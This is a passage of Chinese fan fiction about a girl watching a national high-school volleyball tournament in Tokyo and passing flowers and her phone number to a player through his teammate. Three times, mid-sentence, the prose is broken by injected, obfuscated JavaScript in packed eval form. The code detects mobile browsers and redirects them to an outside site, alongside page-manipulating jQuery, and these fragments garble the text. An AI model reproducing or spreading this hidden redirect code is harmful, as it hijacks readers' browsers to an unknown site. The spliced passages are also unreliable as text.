对方自始自终都友善又有分寸,即便是在同一把伞下遮雨,也始终没有碰到她的肩膀。 即便自己的肩膀已经被雨滴染上更深的颜色。 南见月一直捏着的拳头松了下来,静静地听着他唱歌。 “咕噜——” 歌声被打断,男生愣了愣,随即看见南见月直视前方,头也不回,无事发生的样子,他转头笑了笑。 是肚子饿了呀。 刚好路过一家便利店,他把伞放在店门口的沥水架上,扯着她的衣袖把人带了进去。 站在琳琅满目的货架前,南见月看着他试探性地问了句,“Buy……for me?” “Yes!” 似乎怕她不接受,男生补了一句,“Friend NO.1!OK?” 但其实她还是换了点钱的。 不过南见月还是点了点头,“Thank you.” 她选了一个小狗馒头,作为她在东京交到第一个朋友的见证。 虽然最后还是被她吃掉了。 小狗馒头很好吃,豆豆眉小狗也特别好…… 21.小狗馒头(后记) 南见月几乎以为自己要忘记这段记忆了,但是没想到每一个细节都记得清清楚楚。 那是初到异国所见的第一股善意,总是与其他人不同的。 到东京的时候已经接近中午了,南见月吃了一些由纪子给她带的糕点就打车去了会场。 会场外面布置得很有比赛气息,巨型巴啵酱充气玩偶摇曳着戴着白手套的小手,进进出出的观众神色兴奋,手里还拿着不同颜色的应援物品。 南见月犹豫了会儿,在看见旁边买花束的小摊前站了好一会儿。 想起今天看见的井闼山队服的死亡配色…… “麻烦帮我包一束向日葵,配花就用……这个吧。” 付好钱,南见月从老板手中接过了花束。 向日葵的香味并不浓烈,只是炽烈明亮的色彩令人心驰向往。 看到它,就想到晴天,和豆豆眉男生给她的感觉一样。 即便他们的第一次见面是在雨天。 抱着花进场好像有些引人注意,南见月又要了一个纸袋,把花装在了里面。 她来得晚,场内已经坐满了人,场内穿着各色球服的队伍打得正激烈,喝彩声、地板摩擦声、球呼啸飞过的声音,几乎是一瞬间,她开始明白为什么宫侑和赤苇为什么这么向往全国大赛了。 那的确是独一份灿烂的青春。 A球场的学校她都不认识,B场是井闼山对战福冈的代表校,D场,是稻荷崎…… 其实最先听到的是稻荷崎的应援曲。 在D场站了一会儿,南见月被吹奏部高低错落的和鸣震得耳朵发烫,她捂着半边耳朵快步走到B场,在漫天的惊呼声随着众人一起往场下看去。 那是一位背对观众,高高跃起将球击出的球员,他的球看起来球势并不凶猛,对面的自由人也抢先抵达了落点—— 起码,是包括南见月在内的绝大多数人认为的落点。 但那个飞过去的排球以一种诡异的旋转模式在半空中硬生生地转变了轨迹,即便对方的自由人和另一个后卫也迅速扑过去试图用鱼跃接起,但却与其失之交臂。 趴在地上的两人眼睁睁看着球落地,均是不甘心地重重砸地,看向球网另一边轻巧落地的人。 南见月听着后面井闼山的球迷啧啧称奇,称他“虽然是一年级球员,但无论是技巧、球感、性格都极为出众,简直是——王牌资质”。 那人身披16号队服,身形高挑,看不清面容,但有一头茂密的黑色海藻卷发。 不是他。 南见月移开目光,场上的队员她一一看过,仍不见熟悉的身影。 “Nice Receive!” 少年们整齐的和声从替补席传来,听到一道熟悉的清越声线,南见月循声望去,一眼就望见了想找的人。 他与一年前相比似乎没什么变化,依旧有一双圆钝可爱的豆豆眉,他紧紧地盯着场内,即便自己没有上场,也依旧全神贯注。 而他身上穿着的队服与其他人有着不小的出入。 南见月知道这意味着什么。 他是一位自由人。 井闼山的替补自由人。 南见月从边上售卖的场刊里找到了他的名字。 古森元也,背号18,一年级,自由人,身高179cm。 解说适时插话,“井闼山的16号!又是他!怒所出身的佐久早君!” 另外一位解说也应和道:“佐久早在当年的全国初中综合体育大会也是大放异彩啊,升入高中更是愈发出众了!” 她听见身后有人嘟囔:“不过和佐久早一起被誉为怒所一队双王牌的古森似乎没有上场啊?” 另外一人为他解惑,“听说那个古森转项成为自由人了。” 那边有观众离席,南见月走过去坐下。 她看完了这场比赛。 一个队伍最多只能登记两名自由人,但即便是这样,有正选自由人在,替补自由人几乎没有上场的机会。 直到这场比赛以2:0结束,他也没有上场。 曾经与佐久早一样耀眼的主攻手,却连上场的机会都没有。 队员致谢退场,南见月垂眼扯下了一片明黄的花瓣在手里揉捻,说不清楚是什么样的感受。 回过神来,南见月把那朵缺了一瓣的向日葵抽了出来,把旁边的花朵拨了拨掩藏住缝隙。她提着花随着午间休息出去的人潮离开了观众席。 场刊上面有分组名单和赛程,IH的赛程很紧,第二天就会决出十六强和八强。 第三天就是准半决赛和半决赛,第四天留出一天给决赛和颁奖。 进入八强赛的队伍在分组名单上被标出。 兵库县代表稻荷崎高校、东京第一代表井闼山、开催地代表枭谷、宫城县代表白鸟泽…… 南见月发了会儿呆,感觉到肚子饿了才反应过来。 她按着标识来到便利店,准备买个饭团什么的做午餐。 或许是因为今天附近有比赛人流量大厅,便利店的货架和冰柜的商品空落了许多。 但在数量仍然可观的各色饭团和面包之间,南见月一眼就看见了之前的那款小狗馒头。 她不由自主地伸手拿了一个。 “有一种……故地重游的感觉。” 说起来第一次遇见古森也是在墨田体育馆附近,距离她现在的位置算不上远。 结账的时候她还在想为什么没有在其他的地方看见这款小狗馒头,难道是什么墨田区限定口味吗? 掀开门帘出去的时候首先见到的是一片明黄色的胸膛。 南见月差点和人撞上。 这人很高。 她下意识低头,看见队服下摆熟悉的荧光绿渐变荧光黄。 然后抬头,对上半张被白色口罩包住的脸。 对方虽然戴了口罩,但还是能从那头极具特色的黑色自来卷看出身份。 井闼山的一年级16号主攻,在刚刚大放异彩的佐久早。 察觉到对方并不算善意和愉悦的周身氛围,南见月准备给他让道,却见他已经往后退了一大步。 意思是让她先出去? 还算有礼貌。 南见月点了点头先出了便利店,那个佐久早将身体完得极低,几乎是躬身钻了进去,连头发也没挨到,活像门帘上挂着碰到即见血的刀刃。 她本打算直接走,但却又看了看手中的花,一时有些犹豫。 就是站在门口斟酌得半分钟,她已经听到佐久早并不愉悦对店员的礼貌询问: “请问消毒湿巾在哪里?我没找到。” 店员抱歉的声音响起,“抱歉客人,今天的消毒湿巾已经卖完了。” 喂! 怎么回事! 他听见这个回答感觉身上的黑气要笼罩整座便利店了。 谢过店员之后,佐久早皱着眉从门帘下钻过。 他看见刚刚的女生站在旁边没有走,见他出来便看了过来。 然后她拉开书包,把一整包未拆封的消毒湿巾用右手递了过来。 佐久早感觉她和消毒湿巾在这一刻都在发着光。 光,说话了—— “你想要这个吗?” 原来是有条件的拯救。 但在如此巨大的诱惑之下,佐久早圣臣重重点头,“想。” 南见月伸出左手,她用一张纸巾隔着袋子的提手,将花束和消毒湿巾一齐递至对方面前。 “这个给你……”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15522145|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “我想麻烦你帮一个忙……” …… 佐久早圣臣同意了,他看着神色轻松起来的南见月,难得好奇心发作,问道:“你和他什么关系?” “嗯……朋友。” “那为什么不自己给他。” 南见月道:“我没有他的联系方式,也不能进球员休息区。” 甚至连名字都是今天才知道的。 是朋友却没有联系方式? 佐久早圣臣还未说话,南见月已经轻点了个头转身离开。 他拿着装在袋子里的花束回到会场的休息室,见古森元也人不在,便将花束放了他的排球包前。 正好前辈饭冈过来说教练找他,佐久早点了点头,看了眼在袋子里冒出头、作为配花的几支宫灯百合。 纤弱而直立的枝干,昂扬地往上伸展,姿态柔美的叶片簇拥着互生,倒挂的橘黄色灯笼型花朵下垂摇晃。 他复又想起对方将花束递给他的样子。 一开始,佐久早圣臣还以为这是她送给自己的花。 他转头去教练的休息室。 没一会儿,休息室里陆陆续续进来一拨人,他们是井闼山的排球部部员,刚吃完饭回来,正是闲不住的年纪,打闹着进来。 刚拧开瓶盖的男生还没来得及喝上一口,就被后面打闹着的两个后辈牵连,一整瓶矿泉水全洒了。 一半在地上,一半在角落摆放整齐的排球包上。 “……” “闯祸了闯祸了。” “诶?这里怎么有个袋子?啊!里面有一束花?” “真的诶!谁的花啊?” 其他人像是闻见了八卦的味道,一股脑儿拥上来看。 有些水或是洒、或是滴溅在了花瓣和叶片上,晶莹的聚成圆滚滚的露珠,落在叶尖和花瓣尖要落不落。 “啊呀!水溅的到处都是!地板都湿了,你们快去拿拖把,还要擦包!” “都说了不要打闹,等饭纲前辈回来看见,还还有佐久早也要回来,你们等着吧,哼。” 后辈们顾不得八卦这束花从何而来,一哄而散准备收拾残局。 装着花束的袋子是环保易降解的纸袋,说明白点就是薄得可怜。 等到犯了事儿的后辈拿起袋子准备拖地的时候,发现纸袋底部已经完全被水浸透…… 后辈把花束从袋子里拿出的时候还在拍着胸脯庆幸花没事,但随即他便看见了袋子里剩下的东西。 啊,是附近便利店里好吃的限定小狗馒头!它被包装保护着,存活状况十分良好! 然而他还没松半口气,紧接着就看见了一张被水打湿,笔迹模糊了一小半的便签。 ! !!!危 后辈憋着气,颤颤巍巍地拿起纸条,只希望这束花不要是那个最难搞的一年级队员佐久早的。 幸好上面仍然能够辨认出的字迹显示花束的主人是队里脾气随和的一年级自由人。 后辈长舒了一口气,随即又看见纸条下方的一串数字的前四位尽数模糊。 他一巴掌拍了拍自己的额头。 这!是!电!话!号!码! 虽然古森君总是阳光温柔又随和,但是他有一种很不好的预感是怎么回事? 另一位和他一起犯事儿的后辈二号看见他捶胸顿足的模样,靠过来关心道:“喂,你怎么了?” 后辈一号还没来得及回话,就听见门把手被扭开,他们的一年级自由人古森君笑着道:“圣臣居然会帮我收礼物,我倒是要看看是……” 后辈二号不以为意,仍然戳了戳后辈一号,追问他怎么了。 后辈一号扯出一个僵硬的微笑,“我……不,我们好像摊上事儿了。” 22.烤肉 虽然来得突然,但是南见月还是想起之间赤苇京治说过,来东京的话要记得联系他。 但应该是因为是在比赛期间,中午休息的时候南见月才收到了他的回信。 两人约在了会场入口不远处的自动贩卖机前面。 赤苇过来的时候南见月还在和由纪子打电话。 这边离中央空调有些远,她低头时能看见额头上亮亮的汗水,赤苇京治在她身边坐下,用放在一旁的场刊轻轻地给她扇着风。 等南见月打完电话,他才低声问道:“你什么时候到的?” 南见月道:“大概十点多吧,就看了一场比赛。” 她抬手想截下赤苇手中的场刊,“你们下一场和谁打?” 赤苇京治没放手,继续给她扇风,道:“是福冈的代表队,去年的亚军,实力很强,估计会有些难打。” 虽说枭谷也是东京的排球强校,但相比福冈的那所学校,就历届成绩而言还是稍逊一筹。 南见月看他神色,虽说是即将对上实力强劲的对手,却也没有一丝胆怯。 一场比赛能改变的东西是有限的,谁输谁赢并不会让世界毁灭,但对于他们来说必然是不同的。 于是她把【尽力就好】这种话咽回腹中,戳了戳他裸露着的肌肉紧实的大腿,“来都来了管他们是什么亚军,争取打败他们,拿个冠军。” 赤苇京治忍俊不禁,他抓住南见月的手,用开玩笑般的语气道:“你还是来了,我感觉可以超常发挥,还有我们队里很厉害的其他队员,说不定真的能拿下冠军呢。” 虽说像是开玩笑,但感觉话里藏着很大的野心诶。 两人说了会话,赤苇京治要先归队,走之前向南见月讨要了一个拥抱,他张开双臂,笑着道:“再抱一下,能量马上就满格了。” 南见月不可置否,但还是站起来抱了抱他。 “这可是你说的,那要拿冠军哦。” 赤苇京治没忍住抱得更紧了些。 夏天热,他身上温度又高,南见月忍了好一会儿见他还没有松开的意思,用手揪了揪他腰上的肉。 腰被他的手桎梏住,南见月只能把身体往后仰,“快放开啦,好热,” 赤苇京治放开她,却还是留恋地拉着她的手,道:“好想回到冬天。” 她畏热怕冷,冬天的时候就很喜欢拥抱和牵手,赤苇京治很怀念那段时间。 南见月正想说话,却和他背后的人对上了眼神。 话说自动贩卖机前面是什么藏狐固定刷新地点吗? 已经是不知道第几次在自动贩卖机前面遇到角名伦太郎了,他穿着黑色的队服,对上她的眼睛,面无表情地对她挥了挥手,“哟,好巧。” 赤苇京治放开南见月的手,道:“你好。” 虽然之前在兵库县的县民体育大会远远见过对方,但这么近距离的会面,角名这才有机会认真地端详对面的人。 “你好。” 两人互相问好,该有的礼节都不缺,但态度却称不上多友善积极。 南见月推了推赤苇京治的手臂,“好了,你快去吧,比赛加油。” 自由活动时间的确所剩无几,赤苇京治点头,他道别之后就先走了,原地只剩下南见月和角名伦太郎两人。 南见月摸出一枚硬币走到自动贩卖机前投了进去,听见角名问道:“你和枭谷的那位,是……” “朋友。” 只是朋友怎么还搂搂抱抱的。 角名腹诽。 他继续问道:“听宫侑说,你不是有事所以不能来看比赛吗?” 拿出气泡水,南见月瞥了他一眼,道:“临时有点急事来东京一趟,刚好在这边,事办完了就过来看看。” 角名也是来买饮料的,南见月拿到饮料让开位置之后他却没急着投币。 听到不是特意为了赤苇京治来的,他的眉心松了下来,道:“那怎么不告诉我们?双胞胎和北前辈要是知道你来应该都会很高兴吧。” 北信介不清楚,但是感觉要是被双胞胎知道她来了,估计会被缠上吧,宫侑那个幼稚鬼可能还要让她看完了复述一下他的高光时刻。 南见月想想就头痛,她转移话题,道:“你不用回去准备吗?下午的比赛很快就开始了吧?” 看来根本就没怎么关注他们啊。 “……我们下一场的对手还没比完。” 偶尔也会出现这种,到了预期的比赛时间,上一场因为各种原因还没结束,导致比赛延后的情况。 “哦……这样啊。” 角名突然道:“八强赛,要是我们和枭谷都能赢的话,明天的八进四好像就会对上,你希望谁赢?” 他问出口立刻就察觉到了不妥,因为这种问题无论她怎么回答都代表不了什么,反而显得他……略有些心胸狭窄。 虽然他的本意也并不是想要得到答案。 明明她和他们才是同校,但却得不到她全部的关注……但其中掺杂了多少与集体荣誉感无关的不甘心,只有角名自己知道。 但南见月正在拉拉环,没看见侧对着她的角名伦太郎面上的不豫之色,只是疑惑道:“干嘛问这个?我希望谁赢也改变不了比赛结果。” 这个牌子的气泡水好难开,她抠了一下拉环没成功,坐回长椅,一边继续捣鼓一边继续说道:“你们都是我的朋友,我只希望你们能发挥出全力,堂堂正正地参与比赛。” 深呼一口气,角名调整好表情,对她伸出手,“拿来。” 角名伦太郎接过易拉罐,他把差点被她拽断的拉环旋转了一下就轻易地打开了。 南见月接过道了谢。 角名去买了罐运动饮料,他站在一边靠着墙,没再继续说话。 喝完小半罐,他想起明天是周一,但南见月可不像他们有公假,“你什么时候回去?明天还要上课吧?” 不仅要上课,她甚至还没写作业。 简直哪壶不开提哪壶,南见月想了想,记起周一下午还有她和桃濑说好要搭档的家政课,道:“应该看完比赛看看有没有票,如果没票就明天早上回去。” “哦。” —— 先开始的是枭谷的比赛,观众也大多聚集在这边。 南见月坐在座位上,看着赤苇京治站在队列里,似乎是察觉到了她看过去的目光,往这边望了过来。 她离场内很近,看见他对这边眨了眨眼睛。 漫长的拉锯战结束,裁判的哨声响起—— 枭谷输了。 尽管打到了第三局,尽管终盘的比分超过了三十分。 连解说也觉得极为惋惜,称这场比赛双方都状态极佳,展现出了极高的技术水准和团队配合,更显现出了双方对胜利的执着,比赛的精彩程度甚至可能可以与决赛相媲美。 比赛结果不因为败者的眼泪而改变,观众的掌声会给每一个球员。 但输了就是输了。 他们今年的IH就这样结束了。 这场结束了,观众们涌去别处,南见月看着球员们退场后空荡荡的球场发了一会呆。 手机的震动声让她回过神来,收到了一条新信息,南见月打开看了看内容,犹豫了一下才回信过去。 球场的气氛仍然很热烈,隔壁传来阵阵叫好声,夹杂着熟悉或不熟悉的应援曲。 稻荷崎的状态很好,教练将一年级的宫侑宫治和角名伦太郎当做主力都派上了场。 宫侑的跳飘球仍然不算完美,甚至失误率显而易见不算低,但对面的自由人显然不擅长接飘球,竟然也一连拿下两分。 包括角名、宫治在内的所有攻手,在宫侑的传球下,几乎是“横冲直撞”地被使用着,他们的失误的确很多,但得分能力更加出众,这一点毋庸置疑。 两位解说也是连连称赞,“稻荷崎的黑须法宗教练可真是一如既往,得心应手地运用所有【不稳定】的球员,不断地崩解原有的结构使之焕发更加强大的力量,稻荷崎果然是一支【无需追忆昨日】的队伍。” “不愧是……最强的——挑战者。” 比赛落幕,南见月看着赢下比赛的他们开怀大笑,也没有错过对面的失败者的遗憾。 致谢完退场的时候,角名看了一眼南见月离开的身影,听着身边宫双子争论今天谁得分更多的声音,叹了口气。 真是的。 如果他没有偶然在自动贩卖机前遇到她,或许这家伙真的会谁都不说,谁都不会知道她来看了比赛。 —— 现在已经赶不上回兵库的新干线了,不过南见月收到了拓一郎的信息。 东京的一家料理分店的店长要调货回兵库,南见月可以跟送货的车一起回去。 这次来东京的事办完了,明天还要和桃濑组队拯救她可怜的家政平时分,作业也还没做,还是尽早回去吧。 说起来,南见月在请佐久早帮忙转交给古森元也的纸袋里留了东西。 小狗馒头应该能表明是她送的花,便签上面有她借便利店店员的笔写下的她的名字、联络电话,以及为什么没有联系他的理由。 一年前古森元也留下的纸条被淋湿的外套贴着,晕花了笔迹,希望这次她的纸条能够安全送达。 不过那位佐久早看起来很可靠的样子,想来应该不会出什么问题。 不过,走之前…… 南见月点开通讯录,手指在赤苇京治的电话号码上悬停,要不要给他打个电话? 她关掉拨号页面,打开社交软件,安慰的信息删删改改还是没发出去。 人潮突然变得拥挤,南见月被身后的人身上背着的包撞到了手肘,还没打完的信息就这样发了过去。 【你回去了吗?比赛很精彩,我……】 撞到她的人急匆匆地道了歉,“啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15534181|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……撞到人了!抱歉抱歉!” 手肘有些痛但并不严重,南见月低着头回了句没关系,在考虑要不要撤回信息。 然而消息很快便显示了已读,然后对面的状态就变成了【正在输入中……】 “见月?” 熟悉的声音从身后响起,南见月闻声转头望去。 她这才发现自己被一群穿着白色运动服外套的人包围了。 刚刚撞了她这种懊恼地揉着头的正是枭谷的那位7号王牌,此时无措地似乎连头发都被他揉得耷拉了下来。 而叫她名字的,自然是还拿着手机准备回消息,却听见了她的声音而抬起头看过来的赤苇京治。 “咦?是你朋友吗?赤苇。” 同样穿着枭谷白色队服外套的粉发少女走了过来,她看了看南见月,询问她是不是真的没事。 木兔光太郎睁大眼睛,再次抱歉,“不好意思啊,我刚刚只顾着低头走了,你没事吧?” 南见月摇摇头,“没事的,真的没关系的。” 赤苇京治点了点头,走了过来,他直接得多,直接动作轻柔地抬起南见月的小臂查看,确保真的没问题才放下。 枭谷的人见两人确实认识,便纷纷走上前,留两人在队尾说话。 南见月和赤苇京治与队伍隔了段不远的距离。 赤苇京治先说了话,“你要回去了吗?坐新干线吗?” 南见月点头,道:“赶不上最后一班车次,不过已经安排好了坐其他的车回去。” “那就好。” 南见月拉着他的袖子,道:“刚刚看见你托球了,很厉害。” 赤苇京治直接拉住了她的手,语气难掩低落,“但还是输了。” 被握住手的时候能很明显地感觉到他指腹上浅浅的茧,那是练习过千百次传球的证明。 他在难过,但她没有过某一场如此迫切想要赢得的比赛,所以南见月不知道该说什么比较好,只是回握住他的手。 从会场出来走到枭谷下榻的酒店不算远,赤苇京治要和部里的人吃完饭回学校开复盘会议,趁着大家回去收拾东西,他拉着南见月走到一边叮嘱到家要报平安。 南见月刚刚看见他眼睛里面有晶莹的东西,但始终忍着,即便情绪不高也要让她注意安全。 “京治。” “嗯?” 她的声音太小,赤苇京治没怎么听清,便微微弯腰低头听她讲话。 “你已经做得很好了。” 赤苇京治一顿,眼睛酸了酸。 南见月的手指攀着他的眼下,轻柔地划至眼角,一滴滚热的泪水沾湿她的指尖。 她凑过去,在赤苇京治朦胧的视线里,她的脸既清晰又模糊。 眼下传来柔软的触感,剩余的泪痕被她温柔吻去。 —— 之后赤苇京治眼睛红着、脸也红着,跟着部员们上了车。 南见月也打了车去店里。 只是当她报出地址之后,发现后面枭谷的大巴车一直跟在后面就觉出不对了。 “所以聚餐地点是旁边的烤肉店吗?” 南见月和下了车的赤苇京治站在烤肉店门前叹气道。 旁边的料理店就是南家在东京的产业之一,甚至送货的店长还是拓一郎的表弟,按辈分来南见月还要称呼一声表叔公。 表叔公说仓库那边出了事,歉意地让南见月再等等。 枭谷的教练是个不拘小节的豪爽大叔,见到这么有缘还让南见月和队里一起去吃饭。 南见月觉得尴尬正准备拒绝,刚刚的粉发经理和另一位扎着马尾的经理已经挽着她的手臂把她带进了店里。 两位经理一位叫做白福雪绘,一位叫做雀田薫,性格都很好,即便一开始只是因为担心冷场的聊天也慢慢渐入佳境。 “啊啦——小林和长谷川还在哭呢,再不吃肉都要被抢完了诶。” “谁……谁说我在哭?” “啊啊啊这块是我的!呜呜呜白福前辈……我真的要哭啊!” “太过分了吧你们!教练你管管啊。” 被他们这一闹,原本沉重的气氛松快了许多,混合着烤肉的香气和进食声, 炭火烤炉偶尔发出火星爆裂的细小声响,肉类被高温逼出的油脂发出悦耳的滋滋声,金黄的边缘微微卷起,肉汁顺着烤网低落,腾起一股带着焦香的白烟。 不止是烤肉,香菇、玉米、西葫芦都逐渐染上漂亮的褐色,蔬菜独有的清香和肉类的油脂香气交织…… 南见月咬了一口雀田薫投喂的饭团,偶尔抬头观察店内神色各异的人。 食物的美味程度和当时的心情状态密切相关,有人豁达不纠结地认真吃饭,也有人机械吞咽食不知味。 但今天的一切都已成定局。 能不能从过去的成功或失败中吸取教训,才是明天能否继续前行的关键。 23.胡萝卜猪肉煎饺 没有收到信息。 也没有未接电话。 南见月放下手机开始发呆。 难道他不记得了吗? 她叹了一口气,有些失落,但又觉得他应该是在比赛所以没有空闲时间。 但直到IH的赛程全部结束,连稻荷崎排球部的人都回到学校里了,南见月还是没有收到回信。 “怎么了?” 宫治看着南见月放下手机,另一只手拿着筷子,煎饺的皮被她戳出几个洞,一看就是心不在焉的模样。 排球部的人今天才回来,宫治和南见月昨天就约了中午一起吃饭。 他疑惑地道:“哪里不舒服吗?” 南见月摇摇头,道:“没。” 被她戳的露馅儿了的煎饺被南见月夹起,然后被一口吃掉,被食物塞得鼓鼓的脸颊像是仓鼠储藏食物的颊囊。 宫治的眼神变得更加柔和。 想起昨天熬夜看完的转播录像,南见月道:“你们排球部真的很厉害诶,听说尾白前辈还凭着精彩表现被大家评为了全国前三的王牌呢。” 稻荷崎在IH中杀入了半决赛,但最终败于井闼山,无缘决赛。 但宫治叹了口气,道:“但和井闼山那一场真是输的很彻底啊。” 其实就南见月看来这是个很好的成绩了,但他们的目标应该是优胜才对,自然也不会满足于区区的全国第三。 两只队伍都很强,但这种事本来就是一山自有一山高。 晋级的名额只有一个,自然是由实力更强、状态更好的队伍斩获。 幸好面前的灰头发少年只是轻声感叹了一句,再多的失落和遗憾都已经过去了。 南见月确保他的脸上没有展现过多的难过,才道:“治的表现很棒喔,接球和传球好厉害!” 宫治笑了笑,眼睛亮晶晶的,他道:“是吧,教练也夸我了,不过还是有进步的空间……” “阿侑总是想一出是一出,认死理又不服输,明明对方新换上的那个自由人把他的跳飘都接起来了,结果下一次发球还是换汤不换药……” 新换上的那位自由人便是古森元也。 井闼山的三年级正选自由人不擅长接飘球,在第二局教练换上了古森。 这是他第一次,也是唯一一次在本次IH大赛中出场。 该救下的球,他全都救下了,虽然技术层面算不得完美无缺,但此次临危受命,表现堪称出彩。 可是IH都已经结束了,她也将写有原因和联络方式的便签交给那位佐久早君了,为什么古森不联系她呢? 向萍水相逢的陌生人施以援手,对于古森元也来说可能只是一件非常普通的事情,又加之已经过了一年了,忘记也是情理之中的事。 这个想法刚冒出来就被南见月否决了,不对—— 怎么能忘记。 一定是中间某一个环节出了问题。 南见月一边想一边吃,宫治看着她呆呆地塞着煎饺的样子无奈地笑了笑,伸手在她面前晃了晃,道:“今天到底在想什么?吃饭都这样,你根本没吃出来是什么味道吧。” 煎饺塞满了口腔,费了好些力气又喝了口水才吞下,南见月干脆把便当盒推到旁边,正襟危坐地看着宫治,问道:“治,你……你们认识那个井闼山的替补自由人吗?” 宫治一顿,道:“古森?之前全国中综体的时候,我们有和他还有佐久早所在的怒所交战过。” “嗯……在大阪合宿的时候也打过一场练习赛。不过话说阿侑倒是和他的表弟更熟一些?” 宫治话说的不算肯定,虽说那个时候他们有在双方教练的引荐之下加联系方式,但是他嫌麻烦没加,而宫侑……宫侑……看起来是会被佐久早拉黑的样子。 随时随地惹佐久早生气,怎么不算和佐久早熟呢? “佐久早圣臣?” 宫治点头,他疑惑地道:“你认识他吗?” 原来是表兄弟啊。 南见月点了点头,又摇了摇头,道:“不算认识,但……有事必须找他。” 干脆去问一下宫侑好了,拿到佐久早的联系方式,既是表兄弟又是队友,反正联系上佐久早就一定能联系上古森。 第一次见面,是古森元也主动给出了联系方式。 他友善而温柔,主动和她建立了联系。 不管因为什么原因,在高中从主攻手转为自由人,必定也是一个不缺乏勇气的人。 南见月捏着手机反思自己,明明都能因为只是看见在电视里的那张侧脸,就一个人去东京,又为什么不再大胆一点。 如果在东京多留两天,就能等比赛结束直接去堵人。 这样当面把话说清楚,才是正解吧。 无论怎么样,她总要知道一个结果。 想清楚了反而觉得一身轻松。 南见月拉过旁边的便当盒,此时总算有了食欲。 今天的午餐是拓一郎准备在店里新上的[煎饺+炒饭]的套餐…… 什么主食加主食的组合,反正她不太理解,南见月戳戳从刚刚开始就沉默着的宫治,道:“阿治——” 宫治从满腹复杂的心思中挣脱出来,她的眼睛在阳光下泛起柔软的涟漪,琉璃般的眼珠仿佛他们第一次见面时布丁上闪闪发亮的焦糖液。 “你能再吃掉两个煎饺吗?这边的我没有动过噢。” 煎饺是胡萝卜猪肉的,虽然不讨厌胡萝卜,但南见月选择分给宫治吃。 宫治点头,闷声吃煎饺,连内馅是自己最讨厌的胡萝卜都没有吃出来。 这是他人生中屈指可数的食不知味。 —— 这边宫侑回教室的时候就看见南见月咬着棒棒糖正在思考。 他蹑手蹑脚地走过去,在她没有发觉之前一巴掌拍上她的肩膀。 “嘿!” 南见月正想着怎么让宫侑把佐久早的联系方式给她,被这突然一拍吓了一跳,咬着糖的牙齿一滑,重重地咬到了舌尖。 原本想逗逗南见月的宫侑只听见她发出一声短促的低声痛呼,然后就捂着嘴开始瞪他,甚至泪花都出来了,他立刻知道坏事了。 “不是?你怎么了?我就是吓吓你,我错了……” 等到舌尖传来的那阵火辣辣的痛终于过去,南见月一言不发地拿出棒棒糖,上面有一缕明显的血渍。 看见血渍的宫侑瞪大眼睛,他轰的一声扑在了南见月的桌子上,伸出手掐住南见月的脸颊试图让她张嘴,“我看看,严重吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15552872|166362||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?是不是很疼,我错了,我就是……快让我看看怎么样了!” 热乎乎的大手掐的南见月的脸变了形,比起舌尖上尖锐的疼痛,她倒是第一时间注意到了宫侑脸上焦急担忧的神色。 这家伙平日里老爱抬高眉毛装酷,此时眉毛下压成八字,深邃的棕色眸子只专注地装着面前的她。 南见月打掉宫侑把自己的脸都捏的痛起来的手,皱着眉自己拿出整理刘海的小镜子准备查看。 小心翼翼伸出的舌尖上带着一丝血红,咬破的伤口往外渗着血。 “你看什么看?” 南见月看见宫侑凑过来看,她不由得对罪魁祸首恶声恶气地指责:“你知不知道这样很危险啊?笨蛋宫侑!” “怎么了怎么了?” 姗姗来迟的桃濑雪菜已经习惯了宫侑又占了她的位置,不过发现不对之后,立即好奇地发问。 “咬到舌头了。” 南见月恨恨地又瞪了眼宫侑,然后回答桃濑雪菜的问题。 乖乖站起来给桃濑让了位置的宫侑闷闷在一旁罚站,真诚地忏悔:“我真的错了,对不起,我没想让你受伤的。” 看着桃濑雪菜陡然瞪大的眼睛,南见月都被气笑了,她转头就是非常熟练地给了站在一边的宫侑一手肘。 “你要不要听听你在说什么……好糟糕的话,笨蛋。” 终于忍着痛解释了之后,桃濑雪菜似懂非懂地点了点头。 恰好这时上课铃声响起,老师走进教室,桃濑看着还想说什么的南见月摇了摇头,抛了一个不用解释了我都懂的眼神就转了回去。 你懂什么! 南见月捂着跳动的额角,很想再给宫侑一手肘。 于是等到下了课宫侑再来求原谅的时候,南见月道:“你有井闼山的佐久早的联系方式吗?” “有倒是有……不过你要那个佐久早的联系方式干什么?” 宫侑狐疑地看着南见月。 南见月道:“反正有事,或者你把我的联系方式推给他也行,跟佐久早说一下我是那天请他帮忙送花的人就好了,他应该会同意的。” 听到“送花”,宫侑的眉头皱的更深了,他不满地道:“你给谁送花?他居然还愿意帮你送花?” 讲话的时候,舌尖隐隐传来痛意,南见月面部表情,“你帮不帮我问?北前辈还在拜托我帮你补习期末考试的内容。” 这话就是明着威胁了。 